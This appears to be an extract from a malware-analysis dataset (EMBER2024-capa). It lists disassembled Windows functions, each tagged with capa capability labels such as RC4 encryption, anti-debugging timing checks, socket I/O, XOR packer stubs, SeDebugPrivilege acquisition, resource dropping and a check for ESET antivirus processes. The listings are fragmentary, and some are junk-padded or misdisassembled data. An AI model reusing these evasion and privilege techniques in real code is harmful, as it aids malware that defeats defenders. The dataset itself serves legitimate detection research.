joyce8/EMBER2024-capa huggingface dataset:
Function at 0x8bef1f
Capabilities:
Encrypt data using rc4 prga

Disassembly:
call fcn.0088a495
mov dword [esi + 4], esi
and cx, si
movsx eax, bp
rcl ecx, 0xb2
mov dword [esi], esi
or al, ah
xor eax, 0xd33d352b
bt ax, cx
mov dword [esi + 8], esi
setae ah
clc
mov dword [edi + 4], 0
xadd cx, cx
xchg ch, ah
shrd cx, di, 0x92
mov ecx, dword [ebx + 0x20]
mov eax, dword [ecx + 4]
cmp al, 0x88
mov dword [eax], 0
btc eax, 0x34
mov eax, dword [ecx]
test eax, eax
je 0x8cb1e2
mov esi, dword [eax]
jmp loc.0050adc5
push dword [esi + 4]
jmp 0x93c657
je 0x8ba7b9
nop
bsr ecx, ecx
mov ecx, dword [esi]
test ecx, ecx
jmp 0x8ec81c
jne 0x843a06
mov esi, dword [ebx + 0x3c]
mov ah, 0x9b
mov eax, dword [ebx + 0x48]
jmp 0x8c7320
push ebx
movsx bx, bl
bswap ebx
jmp 0x8d8328
push 1
jmp 0x949563
lea edi, [ebx + 0x30]
movzx cx, cl
mov dword [ebx + 0x40], esi
mov cx, 0x261d
movzx esi, cx
mov ecx, edi
cmovo esi, ebp
mov dword [ebx + 0x4c], eax
mov esi, dword [edi]
push dword [esi + 4]
jmp 0x8ddcac
mov eax, dword [ebx + 0x20]
cmovno edi, esi
lea edi, [ebx + 0x10]
mov esi, 0xf81eed30
movsx ecx, sp
mov ecx, edi
not si
cmovnp si, si
mov esi, ebp
mov dword [eax], eax
bswap eax
movsx ax, al
mov eax, dword [ebx + 0x20]
jmp 0x8ed505
push edi
call fcn.0088a495
mov dword [esi + 4], esi
mov dword [esi], esi
mov ch, 4
sbb ah, bh
clc
mov dword [esi + 8], esi
bsf ax, bx
shl eax, cl
mov dword [edi + 4], 0
bswap ax
rol ah, 0xbd
mov ecx, dword [ebx + 0x28]
lahf
btr eax, edx
mov eax, dword [ecx + 4]
cmp eax, 0xd686a69b
test al, bl
test cl, 0x32
mov dword [eax], 0
mov eax, dword [ecx]
test eax, eax
jmp 0x8d6871
je 0x94acc5
nop dword [eax]
mov esi, dword [eax]
push 0xc
push eax
jmp 0x92dcce
push esi
not si
mov ebx, ecx
mov esi, dword [ebx + 8]
push edi
cmovne cx, bp
lea edi, [ebx + 8]
mov ecx, edi
jmp 0x84012a
push edi
jmp 0x9336e8
push dword [esi + 4]
jmp 0x8eb5d1
push edi
jmp 0x8f3cde
je 0x949565
mov eax, dword [ecx]
jmp 0x8c25c7
mov dword [eax + 4], eax
movsx esi, bx
cmovl si, di
mov dword [ebx + 0x24], 0
mov si, 0x1128
bswap si
xchg esi, esi
mov esi, dword [edi]
push dword [esi + 4]
jmp 0x8d5ee4
call fcn.0088a495
mov dword [esi + 4], esi
mov dword [esi], esi
mov dword [esi + 8], esi
btr si, ax
or si, ax
mov dword [edi + 4], 0
mov di, 0x9d30
mov edi, dword [ebx + 0x40]
mov esi, dword [ebx + 0x3c]
cmp esi, ebx
test dl, cl
cmp esi, edi
jmp 0x8439fb
call fcn.00617a75
lea esp, [esp + 8]
cwde
bswap ax
mov eax, esi
cmp edi, 0xb92e7893
test esi, esi
jmp 0x94acbf
call fcn.0088a495
mov dword [esi + 4], esi
mov bx, bp
sets bh
bswap bx
mov dword [esi], esi
cmovbe ebx, edx
mov dword [esi + 8], esi
cmovbe esi, ebx
movsx bx, bh
mov dword [edi + 4], 0
xchg bx, bx
bswap ebx
not edi
pop edi
setnp bl
pop esi
xchg bh, bl
mov ebx, 0x4226cca5
pop ebx
jmp loc.005bc61a
push edi
jmp 0x80eae9
call dword [eax]
add esi, 4
cmp ecx, edi
cmp esi, edi
jmp 0x8ba7ad
jne 0x8d687a
mov eax, dword [ebx + 0x28]
lea edi, [ebx + 0x18]
movzx ecx, ax
bswap si
mov ecx, edi
mov dword [eax], eax
mov eax, dword [ebx + 0x28]
movsx esi, di
not esi
mov dword [eax + 4], eax
not esi
movzx esi, si
mov dword [ebx + 0x2c], 0
xchg si, si
not si
mov si, sp
mov esi, dword [edi]
jmp 0x8e9ef9
Function at 0x8c410f
Capabilities:
Execute anti-debugging instructions

Disassembly:
je 0x8ca91a
movss xmm4, dword [0x70b50c]
not bl
sar bl, 0x80
push ebp
mov ebp, esp
sub esp, 0x64
jmp 0x8ded2c
push ebx
push esi
movsx ebx, dx
mov ebx, ecx
mov ecx, ebx
mov ecx, dword [0x7e0fec]
jmp 0x915926
push edi
jmp 0x9681c7
mov dword [ebp - 0x1c], ebx
call fcn.005563f0
mov edx, dword [ebx + 0x28]
bt edi, 0x33
test ax, si
mov dword [ebp - 0x38], eax
mov edi, dword [edx]
cmp edi, edx
jmp 0x846677

Function at 0x8ca876
Capabilities:
Execute anti-debugging instructions

Disassembly:
jne 0x86c03b
sub eax, edi
xchg cx, cx
mov cx, sp
movzx ecx, si
lea ecx, [esi + 0xc]
jmp 0x87aa19
push esi
movsx esi, cx
xchg esi, esi
push edi
mov esi, ecx
inc cl
not di
lea edi, [eax + 1]
not cl
nop
mov cl, byte [eax]
jmp 0x8d4afa
push eax
push edx
call fcn.00479ba0
pop edi
xchg bp, bp
pop esi
pop ebp
jmp fcn.004c10f3
push ebp
rdtsc
lahf
jmp 0x8ccad0
mov ebp, esp
rdtsc
mov edx, dword [ebp + 8]
mov ax, di
lahf
movsx eax, si
mov eax, edx
jmp 0x86c027
inc eax
cmp si, si
test cl, cl
jmp 0x86b026

Function at 0x8ca8da
Capabilities:
Receive data
Receive data on socket

Disassembly:
test edx, edx
jmp 0x8996c2
jle 0x835486
mov ecx, dword [esi + 0x1c]
clc
stc
cmc
add eax, ecx
jmp 0x89f02c
push edx
push eax
jmp 0x835476
jle 0x8354a0
mov edx, edi
test ecx, edi
stc
sub edx, eax
jmp 0x88664c
push edi
mov eax, dword [esi + 0x28]
mov di, 0x6ca7
mov edi, dword [esi + 0x24]
test eax, eax
jmp 0x89f090
push ebx
cmp ch, 0x18
sal ax, cl
push esi
bswap eax
add eax, 0x2480b48f
mov esi, ecx
or eax, 0xb2310782
jmp 0x8af772

Function at 0x8ce2c2
Capabilities:
Execute anti-debugging instructions

Disassembly:
mov dword [ebp - 4], 0xffffffff
xchg edi, edi
lea edi, [eax + 1]
mov cl, byte [eax]
jmp loc.004abb79
push ebp
mov ebp, esp
xchg edx, edx
bswap eax
cmovb ax, bp
push 0xffffffffffffffff
cbw
cdq
push 0x69b100
cdq
mov eax, dword fs:[0]
rcl edx, 0x26
rcr dl, cl
push eax
rdtsc
mov ah, 0x8d
push ecx
push esi
rdtsc
cdq
push edi
bsr edx, ecx
sal dx, 0x9b
add edi, esi
mov eax, dword [0x75868c]
sub di, sp
add di, sp
shl esi, 0x33
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
xchg di, di
mov dword fs:[0], eax
cdq
mov esi, ecx
bswap eax
mov dword [ebp - 0x10], esi
mov di, sp
cwd
mov dword [esi], 0
mov edx, dword [ebp + 8]
setne al
mov eax, edx
dec di
mov dword [esi + 0x10], 0
bswap edi
inc di
mov dword [esi + 0x14], 0xf
mov byte [esi], 0
jmp 0x803b5c
Function at 0x8d427b
Capabilities:
Execute anti-debugging instructions

Disassembly:
mov dword [ebp - 4], eax
movsx ax, cl
cwde
push ebx
mov eax, ecx
mov byte [ebp - 0x33], 1
movzx cx, bh
push esi
cmova cx, di
mov ecx, 0xffff
jmp 0x857472
call dword [edx + 0x34]
xor esi, esi
cdq
jmp 0x882530
push ecx
movsx cx, al
push 0x2b
not cx
xchg ecx, ecx
bswap cx
mov ecx, eax
call fcn.0060ca75
test al, al
jmp 0x8aa2a7
mov dword [ebp - 0x38], eax
jmp 0x85d89b
push esi
push ecx
mov cx, 0xd798
mov ecx, esp
mov word [ecx], ax
not al
mov al, byte [ebp - 0x31]
jmp 0x90ccec
mov word [ebp - 0x32], cx
mov cx, sp
bswap ecx
sete ch
lea ecx, [ebp - 0x34]
jmp 0x865c2b
push edi
jmp 0x853bd4
call fcn.00617a25
mov esp, ebp
movzx ebp, ax
mov bp, di
cmovno ebp, esi
pop ebp
jmp 0x9678c6
call dword [edx + 0x3c]
inc esi
cmp dx, di
cmp esi, 4
jl 0x882537
sub esi, esi
not ax
cmovno ax, sp
lea ebx, [ebp - 0x1f]
rdtsc
movsx eax, di
nop dword [eax + eax]
bswap edx
push dword [ebp + esi*4 - 0x2f]
mov ax, word [ebp - 0x33]
mov dx, 0xe983
bswap dx
mov edx, dword [edi]
jmp 0x85a3b3
mov byte [ecx + 2], al
cmove ecx, esp
mov ecx, edi
jmp 0x84dbcc
jne 0x8eecd5
pop edi
pop esi
rcl ecx, cl
movsx ebx, bp
pop ebx
mov ecx, dword [ebp - 4]
clc
xor ecx, ebp
jmp 0x86cb20
push ebp
ror al, 0x39
mov ebp, esp
btr ax, 0x9e
lea esp, [esp - 0x38]
cmp sp, bp
rol ax, cl
mov eax, dword [0x75868c]
xor eax, ebp
jmp 0x84bf82
movzx eax, byte [ebp - 0x30]
cmovbe dx, cx
cdq
mov edi, dword [0x7ddebc]
movzx dx, bh
movzx edx, cx
push eax
rdtsc
movzx ax, bh
movzx eax, word [ebp - 0x33]
push ecx
cdq
mov edx, dword [edi]
cmova ecx, edi
xchg cl, ch
mov ecx, esp
jmp 0x8fb7d4
mov word [ecx], ax
mov al, byte [ebp - 0x31]
jmp 0x89b52b
mov byte [ecx + 2], al
movsx cx, dh
mov ecx, 0xffb0ee06
mov ecx, edi
jmp 0x870c7c
ret

Function at 0x8d45f3
Capabilities:
Read file on windows

Disassembly:
push edi
mov di, bx
push 0x6ef518
mov edi, 0xc8b25fb2
push str.interface.cfg
mov edi, ecx
call fcn.006534e2
mov esi, eax
test cl, 0x27
add esp, 8
cmc
test sp, bp
test esi, esi
jne 0x958fad
pop edi
bts esi, esp
dec si
sub al, al
xchg si, si
pop esi
jmp loc.004faa2a
push esi
jmp 0x8ba43d
Function at 0x8ff236
Capabilities:
Get socket status

Disassembly:
mov dword [ebp - 0x104], eax
movzx ax, dh
movzx eax, si
mov ah, dh
lea eax, [ebp - 0x214]
jmp 0x94576e
push 0
lea eax, [ebp - 0x108]
mov dword [ebp - 0x20c], 1
jmp 0x890938
mov dword [ebp - 4], eax
push esi
cmc
rol eax, 8
movsx eax, di
mov esi, ecx
xor eax, 0x1ca65996
bts ax, cx
mov eax, dword [esi + 0x6c]
cmp bh, 0x30
test edi, 0x8b82fd87
cmp eax, 0xffffffff
jmp 0x8f6911
push eax
cwde
lea eax, [ebp - 0x20c]
mov dword [ebp - 0x108], 1
jmp 0x91ecd6
mov dword [ebp - 0x210], 0
jmp loc.00518184
mov ecx, dword [ebp - 4]
neg esi
shld esi, edi, 0x2b
bsf esi, ecx
xor ecx, ebp
pop esi
call fcn.00617a25
mov esp, ebp
not bp
xchg ebp, ebp
pop ebp
jmp loc.004e3cba
je 0x8dfda9
mov dword [ebp - 0x208], eax
jmp 0x8032a9
mov dword [ebp - 0x214], 0
jmp 0x8ac997
push ebp
shl bp, 0x21
mov ebp, esp
sub eax, 0x18174d15
movzx eax, si
movsx ax, ch
lea esp, [esp - 0x214]
mov eax, dword [0x75868c]
cmp edx, esp
cmp ecx, 0xd802772a
xor eax, ebp
jmp 0x88efce
push eax
push 0
jmp 0x8faa49
push eax
setbe al
jmp 0x831155

Function at 0x900faf
Capabilities:
Send data
Send data on socket

Disassembly:
push esi
not esi
mov esi, 0xc5890e04
mov esi, edi
push edi
bswap esi
xchg esi, esi
mov esi, ecx
jmp 0x91c102
call fcn.00566050
mov ecx, esi
test esp, esp
cmp bx, si
test al, al
jmp loc.004cf315

Function at 0x911c6c
Capabilities:
Enumerate process modules

Disassembly:
push 8
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
cmp esi, 0xffffffff
je 0x87e14b
mov dword [ebp - 0x28], 0
setle ah
movzx eax, sp
bswap eax
mov dword [ebp - 0x18], 0
not eax
mov dword [ebp - 0x14], 0xf
mov byte [ebp - 0x28], 0
not al
lea eax, [ebp - 0x28]
jmp 0x8f1b17
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
jmp 0x873ffe
push eax
jmp 0x8fabda
mov dword [ebp - 4], 1
jmp 0x8b9792
push ebp
mov ebp, esp
sbb ah, ch
sub ah, 0xbf
shr eax, cl
push 0xffffffffffffffff
inc al
xchg ah, ah
push 0x69c5ad
rol ah, 0xb6
mov eax, dword fs:[0]
push eax
sub esp, 0x24c
neg ax
adc ax, 0xcd0f
movsx eax, di
mov eax, dword [0x75868c]
clc
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
jmp 0x9304bc
push esi
xchg ebx, ebx
movzx ebx, cx
push edi
xchg bh, bl
movsx bx, cl
movsx ebx, cx
push eax
lea eax, [ebp - 0xc]
setle bl
mov dword fs:[0], eax
mov dword [ebp - 0x254], edx
not bh
mov bx, di
setge bl
mov ebx, ecx
jmp 0x87edc0

Function at 0x951737
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
shl al, cl
xor eax, 0x140ff2b4
sub esp, 0xc
movsx ax, ch
bswap eax
movzx eax, di
push ebx
cmovp eax, esp
push esi
not eax
push edi
mov ebx, ecx
movsx ax, cl
not cl
lea eax, [ebp + 8]
bswap ecx
movsx cx, cl
movzx ecx, bx
push eax
jmp loc.00511c11
Function at 0x954b95
Capabilities:
Encrypt data using rc4 prga

Disassembly:
pop esi
mov bp, dx
movzx ebp, bx
pop ebp
jmp 0x6a1491
ret 8
lea ecx, [eax - 0x41]
cmp bp, di
jmp 0x9423ee
mov byte [edx], al
movsx eax, di
lahf
movzx eax, byte [esi + ecx*2 - 0x239b]
jmp 0x8fc8ec
jmp 0x92040d
lea ecx, [eax - 0x61]
cmp ch, 0x19
cmp cl, 0x19
jmp 0x92281f
lea esi, [esi + ecx]
cmp di, si
test bl, 0x28
test al, al
jmp 0x907234
mov byte [edx + 1], al
mov eax, 2
jmp 0x920414
mov al, byte [eax + esi - 0x2417]
jmp 0x8e15fc
je 0x489e21
push ebx
jmp 0x952418
ja 0x92040f
movzx eax, al
mov al, byte [eax + esi - 0x2411]
cmc
test esp, 0xacbbfd0d
mov byte [edx], al
mov eax, 1
add edx, eax
mov al, byte [edx]
test al, al
jne 0x952418
pop ebx
movzx esi, sp
jmp 0x489e21
ja 0x824fb0
movzx eax, al
jmp 0x905e58
ja 0x489e28
push esi
ror esi, 0xbd
cmp ax, dx
imul esi, edx, 0x2744
inc al
mov edx, dword [ebp + 0xc]
sbb al, bl
xor al, dl
mov al, byte [edx]
stc
jmp 0x8fb2c4
cmp cl, 0x19
jmp 0x9203f6
jns 0x8eb29b
lea ecx, [eax + 0x50]
cmp bl, bh
cmp bx, 0x6e1c
cmp cl, 0x18
ja 0x8fc8ef
mov bl, byte [edx + 1]
adc cx, 0x98a0
lea ecx, [ebx + 0x5f]
cmp cl, 0x5d
ja 0x8fc8ef
movzx eax, al
sar ecx, 0xa1
cmovs cx, bx
lea eax, [eax - 0xb0]
rol ecx, cl
imul ecx, eax, 0x5e
movzx eax, bl
cmc
stc
test ah, 0x9b
add eax, 0xffffff5f
cmc
add ecx, eax
movzx eax, byte [esi + ecx*2 - 0x239c]
jmp 0x83fee7
push ebp
mov ebp, esp
mov edx, dword [ebp + 8]
rol ah, cl
bt eax, ebp
lea eax, [edx - 1]
cmp eax, 2
jmp 0x92e95d

Function at 0x431000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
push 4
nop
nop
nop
nop
nop
pop edi
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
nop
nop
je 0x431072
nop
mov ebx, 0x40915c
nop
nop
nop
nop
mov ecx, ebx
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
mov esi, 0x6b783d7d
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
loop 0x431060
nop
nop
mov eax, section..rsrc
nop
cmp eax, 0
nop
nop
nop
je 0x4310d2
nop
nop
nop
nop
mov ebx, 0x42f3f8
nop
nop
nop
mov ecx, ebx
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
push eax
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
mov esi, 0x3163ad1
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x4310c0
nop
nop
nop
nop
nop
nop
popal
jmp 0x401219
Function at 0x4015ff
Capabilities:
Read file via mapping
Terminate process

Disassembly:
sub esp, 0x28
push ebx
push ebp
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x403010], eax
mov eax, dword [0x40300c]
mov esi, dword [0x403008]
mov ebp, dword [0x403004]
mov dword [esp + 0x18], eax
mov eax, dword [section..data]
push 0x46
mov dword [esp + 0x20], eax
pop eax
mov word [esp + 0x20], ax
push 0x4d
pop eax
mov word [esp + 0x22], ax
xor eax, eax
mov word [esp + 0x34], ax
xor edi, edi
mov ebx, ebp
shr ebx, 0x1c
and bl, 0xf
movzx eax, bl
lea ecx, [eax + 0x30]
add eax, 0x57
movzx edx, ax
movzx eax, cx
cmp bl, 0x39
cmovbe edx, eax
shl ebp, 4
mov word [esp + edi*2 + 0x24], dx
inc edi
cmp edi, 8
jl 0x401648
lea eax, [esp + 0x20]
push eax
push esi
xor ebx, ebx
push ebx
push 2
push ebx
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov edi, eax
test edi, edi
je 0x401704
push esi
push ebx
push ebx
push 4
push edi
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov esi, eax
test esi, esi
je 0x4016fd
lea eax, [esp + 0x14]
push eax
lea eax, [esp + 0x14]
push eax
push ecx
mov ecx, dword [esi]
add ecx, esi
call fcn.004012a0
mov ebp, dword [esp + 0x10]
test ebp, ebp
je 0x4016f6
cmp dword [esp + 0x14], ebx
je 0x4016f6
push dword [esp + 0x18]
push ebx
push 0x43a
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov ebx, eax
test ebx, ebx
je 0x4016ed
push dword [esp + 0x1c]
mov edx, ebp
push esi
push ecx
mov ecx, ebx
call fcn.00401432
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, ebp
call fcn.00401762
xor ebx, ebx
push esi
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x28
ret

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43000c
nop
nop
pop eax
nop
nop
nop
add eax, 0x403d6f
nop
sub eax, 0x403d15
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
jl 0x430030
nop
add eax, 0xc
nop
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
jne 0x43001e
nop
nop
nop
nop
popal
nop
nop
nop
nop
jmp fcn.00401219

Function at 0x403161
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
mov eax, section.sect_0
call 0x403161
lcall 0x5de5, 0x8b10c483
jmp loc.00791034
Function at 0x401690
Capabilities:
Encode data using xor

Disassembly:
push ebp
push esp
pop ebp
sub esp, 0x10
push ebx
push esi
push edi
push edx
pop edi
push edi
push 0
push dword [section..data]
mov dword [ebp - 8], edi
push ecx
pop esi
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ebx, edi
shr ebx, 2
mov dword [ebp - 4], eax
or ebx, ebx
je 0x4016d4
push esi
pop edi
mov ecx, eax
sub edi, eax
mov edx, ebx
mov eax, dword [edi + ecx]
mov dword [ecx], eax
lea ecx, [ecx + 4]
dec edx
jne 0x4016c3
mov edi, dword [ebp - 8]
mov eax, dword [ebp - 4]
shl ebx, 2
cmp ebx, edi
jae 0x4016ef
push edi
pop edx
sub esi, eax
lea ecx, [ebx + eax]
sub edx, ebx
mov al, byte [ecx + esi]
mov byte [ecx], al
lea ecx, [ecx + 1]
dec edx
jne 0x4016e4
mov eax, dword [ebp - 4]
lea esi, [edi - 8]
lea ecx, [eax - 8]
add ecx, edi
push esi
pop ebx
mov edx, dword [ecx + 4]
mov dword [ebp - 0x10], ecx
mov ecx, dword [ecx]
shr ebx, 2
and esi, 3
mov dword [ebp - 0xc], edx
mov dword [ebp - 8], ecx
or ebx, ebx
je 0x401731
lea ecx, [ebx + edx]
mov edx, dword [eax]
movzx ecx, cl
ror edx, cl
mov ecx, dword [ebp - 8]
add eax, 4
xor edx, ecx
sub edx, ebx
mov dword [eax - 4], edx
mov edx, dword [ebp - 0xc]
dec ebx
jne 0x401714
test esi, esi
je 0x40173d
xor byte [eax], cl
lea eax, [eax + 1]
dec esi
jne 0x401735
mov edi, dword [ebp - 0x10]
mov edi, dword [edi - 4]
push edi
push 0
push dword [section..data]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ebx, dword [ebp - 4]
push eax
pop esi
mov edx, esi
push ebx
pop ecx
call section..text
push ebx
push 0
push dword [section..data]
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
mov dword [eax], edi
pop edi
mov dword [ecx], esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x419b00
Capabilities:
Encode data using xor

Disassembly:
mov esi, 0xa56218a8
sbb eax, 0xa054bd
xlatb
and al, 0x53
xor ah, dh
fcomp qword [edi + 0xb8270fd]
cmc
sub eax, 0x3d0774e4
sbb byte [edi + 0x17], bl
aaa
xor ecx, edx
jecxz 0x419b1c
jl 0x419b5b
mov dword [0x7e9c2ec7], eax
inc edi
out 0xd0, eax
mov edi, dword [esi]
sbb esi, dword [edx]
int 0xcf
rcl byte [eax]
fiadd dword [ebp + 0x12]
jecxz 0x419b69
sbb al, byte [eax + eax + 0x74000000]
stc
test byte [eax], al
add byte [eax], al
add byte [ecx + edi*8 - 0x43], dh
je 0x419afb
mov ebp, 0x7731d031
add dword [eax], eax
invalid
jp 0x419b0c
je 0x419afb
mov ebp, 0x7731d031
add dword [eax], eax
call 0xab419b88
jae 0x419b16
add byte [ebx + 0x26000673], ch
add byte [esi], ah
add eax, 0x31a8d00
add byte [ecx], ch
cdq
sub byte [0x45157ab7], 0x2e
loopne 0x419abf
add eax, dword [eax]
sub dword [ecx + 0x7ab72d82], ebx
mov bh, 0x7a
adc eax, 0x9ce02e45
int 0x9e
fimul dword [ebp - 0x7d]
shr byte [edx - 0x675b92], 0xf3
ja 0x419b81
leave
inc edi
hlt
jge 0x419bb6
outsd dx, dword [esi]
dec eax
mov bl, dh
xor esi, ebp
aas
wait
sbb ebx, ebx
std
clc
into
ret 0xab06
salc
adc eax, 0xe3fec155
mov dword [0x7160e872], eax
and dword gs:[eax], ebx
lea ebp, [edx]
lea eax, [eax]
cmpsd dword [esi], dword es:[edi]
std
mov ebp, 0x4b70e31b
dec edi
sbb ch, cl
mov eax, 0xdabfde48
hlt
int 0xf8
scasb al, byte es:[edi]
xor ebx, dword [ebx + 0x54]
ret
Function at 0x401000
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x138
mov eax, dword [0x4220c0]
xor eax, ebp
mov dword [ebp - 4], eax
mov byte [ebp - 0x135], 0
call fcn.004010f0
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [ebp - 0x134], eax
cmp dword [ebp - 0x134], 0xffffffff
jne 0x401042
mov al, byte [ebp - 0x135]
jmp 0x4010dc
mov dword [ebp - 0x130], 0x128
lea eax, [ebp - 0x130]
push eax
mov ecx, dword [ebp - 0x134]
push ecx
call sub.KERNEL32.dll_Process32First
test eax, eax
jne 0x401078
mov edx, dword [ebp - 0x134]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, byte [ebp - 0x135]
jmp 0x4010dc
push str.egui.exe
lea eax, [ebp - 0x10c]
push eax
call fcn.00401180
test eax, eax
jne 0x401096
mov byte [ebp - 0x135], 1
jmp 0x4010b2
push str.ekrn.exe
lea ecx, [ebp - 0x10c]
push ecx
call fcn.00401180
test eax, eax
jne 0x4010b2
mov byte [ebp - 0x135], 1
lea edx, [ebp - 0x130]
push edx
mov eax, dword [ebp - 0x134]
push eax
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x401078
mov ecx, dword [ebp - 0x134]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, byte [ebp - 0x135]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040d024
mov esp, ebp
pop ebp
ret

Function at 0x4010f0
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov byte [ebp - 0x1d], 0
mov dword [ebp - 0xc], 0
lea eax, [ebp - 0xc]
push eax
push 0x20
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x40116b
lea ecx, [ebp - 8]
push ecx
push str.SeDebugPrivilege
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
je 0x40116b
mov dword [ebp - 0x1c], 1
mov edx, dword [ebp - 8]
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 4]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], 2
push 0
push 0
push 0x10
lea ecx, [ebp - 0x1c]
push ecx
push 0
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
je 0x401167
mov byte [ebp - 0x1d], 1
jmp 0x40116b
mov byte [ebp - 0x1d], 0
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, byte [ebp - 0x1d]
mov esp, ebp
pop ebp
ret
Function at 0x401a70
Capabilities:
Contain obfuscated stackstrings
Extract resource via kernel32 functions
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
mov eax, dword [0x4220c0]
xor eax, ebp
mov dword [ebp - 0x20], eax
push 0x41f168
movzx eax, word [ebp + 0xc]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
jne 0x401aa2
xor al, al
jmp 0x401c0f
mov ecx, dword [ebp - 0x1c]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x401abe
xor al, al
jmp 0x401c0f
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jne 0x401ad8
xor al, al
jmp 0x401c0f
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0xffffffff
jne 0x401b04
xor al, al
jmp 0x401c0f
mov ecx, dword [ebp - 0x1c]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov dword [ebp - 0x10], eax
mov edx, dword [ebp - 0x10]
push edx
call fcn.0040d252
add esp, 4
mov dword [ebp - 8], eax
mov eax, dword [ebp - 0x10]
push eax
mov ecx, dword [ebp - 0x18]
push ecx
mov edx, dword [ebp - 0x10]
push edx
mov eax, dword [ebp - 8]
push eax
call fcn.0040d3aa
add esp, 0x10
mov byte [ebp - 0x3c], 0x62
mov byte [ebp - 0x2f], 0x31
mov byte [ebp - 0x44], 0x34
mov byte [ebp - 0x3a], 0x30
mov byte [ebp - 0x2b], 0x31
mov byte [ebp - 0x32], 0x32
mov byte [ebp - 0x42], 0x32
mov byte [ebp - 0x29], 0x66
mov byte [ebp - 0x38], 0x33
mov byte [ebp - 0x3e], 0x64
mov byte [ebp - 0x2e], 0x62
mov byte [ebp - 0x43], 0x35
mov byte [ebp - 0x35], 0x36
mov byte [ebp - 0x2d], 0x64
mov byte [ebp - 0x39], 0x65
mov byte [ebp - 0x37], 0x64
mov byte [ebp - 0x27], 0x37
mov byte [ebp - 0x25], 0x64
mov byte [ebp - 0x36], 0x64
mov byte [ebp - 0x2a], 0x31
mov byte [ebp - 0x30], 0x66
mov byte [ebp - 0x34], 0x35
mov byte [ebp - 0x31], 0x62
mov byte [ebp - 0x3d], 0x38
mov byte [ebp - 0x41], 0x32
mov byte [ebp - 0x28], 0x32
mov byte [ebp - 0x2c], 0x61
mov byte [ebp - 0x33], 0x38
mov byte [ebp - 0x40], 0x39
mov byte [ebp - 0x24], 0
mov byte [ebp - 0x3f], 0x38
